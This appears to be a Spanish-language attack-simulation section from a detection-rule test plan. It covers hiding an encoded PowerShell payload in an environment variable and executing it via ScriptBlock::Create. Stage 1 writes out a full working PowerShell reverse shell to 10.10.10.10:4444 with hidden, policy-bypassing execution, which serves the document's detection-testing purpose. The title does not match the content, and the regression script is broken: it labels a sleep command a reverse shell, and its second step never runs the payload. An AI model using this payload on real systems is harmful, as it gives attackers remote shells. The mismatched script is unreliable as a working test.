El Regreso del Malvado Fondo de MSI

Ejecución de Simulación

Prerequisito: El Control de Pre-vuelo de Telemetría y Línea Base debe haber pasado.

Racional: Esta sección detalla la ejecución precisa de la técnica del adversario (TTP) diseñada para activar la regla de detección. Los comandos y la narrativa DEBEN reflejar directamente los TTP identificados y apuntar a generar la telemetría exacta esperada por la lógica de detección.

• Narrativa y Comandos de Ataque:
  El atacante primero inyecta una carga útil de PowerShell codificada en base64 en una variable de entorno a nivel de proceso llamada INTERNAL_DB_CACHE. Esta carga, cuando se decodifica, lanza un shell inverso. Luego, el atacante invoca un segundo proceso de PowerShell que lee la variable y la ejecuta a través de ScriptBlock::Create, manteniendo así el comando malicioso fuera de la línea de comandos inmediata. Este enfoque de «vivir de la tierra» evita la detección por firmas estáticas y aprovecha el patrón de dos pasos que la regla está diseñada para capturar.

  1. Etapa 1 – Codificar la carga útil y almacenarla en la variable de entorno

     $payload = '$client = New-Object System.Net.Sockets.TCPClient("10.10.10.10",4444);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes,0,$bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0,$i);$sendback = (iex $data 2>&1 | Out-String );$sendback2  = $sendback + "PS " + (pwd).Path + "> ";$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()'
     $enc = [Convert]::ToBase64String([Text.Encoding]::Unicode.GetBytes($payload))
     [Environment]::SetEnvironmentVariable("INTERNAL_DB_CACHE", $enc, "Process")

  2. Etapa 2 – Ejecutar la carga útil codificada desde la variable de entorno

     powershell.exe -ExecutionPolicy Bypass -NoProfile -WindowStyle Hidden -Command [ScriptBlock]::Create([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String($env:INTERNAL_DB_CACHE)))

• Script de Prueba de Regresión: El guion de abajo automatiza los dos pasos, captura marcas de tiempo para correlación, e inserta una pequeña pausa para permitir que el primer proceso termine antes de que empiece el segundo.

  # ----------------------------------------------
  # Simulación en PowerShell de carga útil codificada en variable de entorno
  # ----------------------------------------------
  
  # Paso 1 – Codificar una carga útil de shell inverso inofensiva (reemplazar con tu dirección C2)
  $payload = '$Sleep = 5; Start-Sleep -Seconds $Sleep'   # Carga útil pequeña e inofensiva para pruebas seguras
  $enc = [Convert]::ToBase64String([Text.Encoding]::Unicode.GetBytes($payload))
  [Environment]::SetEnvironmentVariable("INTERNAL_DB_CACHE", $enc, "Process")
  Write-Host "[*] Variable de entorno INTERNAL_DB_CACHE establecida."
  
  # Pausa corta para asegurar que el primer comando se registre
  Start-Sleep -Seconds 2
  
  # Paso 2 – Ejecutar la carga útil desde la variable
  powershell.exe -ExecutionPolicy Bypass -NoProfile -WindowStyle Hidden -Command `
  Write-Host "[*] Ejecución de carga útil activada."

• Comandos de Limpieza: Eliminar la variable de entorno temporal y terminar cualquier proceso extraviado creado durante la prueba.

  # Eliminar la variable de entorno de prueba
  [Environment]::SetEnvironmentVariable("INTERNAL_DB_CACHE", $null, "Process")
  Write-Host "[*] LIMPIEZA – INTERNAL_DB_CACHE eliminada."
  
  # Asegurarse de que no queden instancias huérfanas de powershell.exe (excluir la sesión actual)
  Get-Process -Name "powershell" | Where-Object {$_.Id -ne $PID} | Stop-Process -Force
  Write-Host "[*] LIMPIEZA – procesos de PowerShell huérfanos terminados."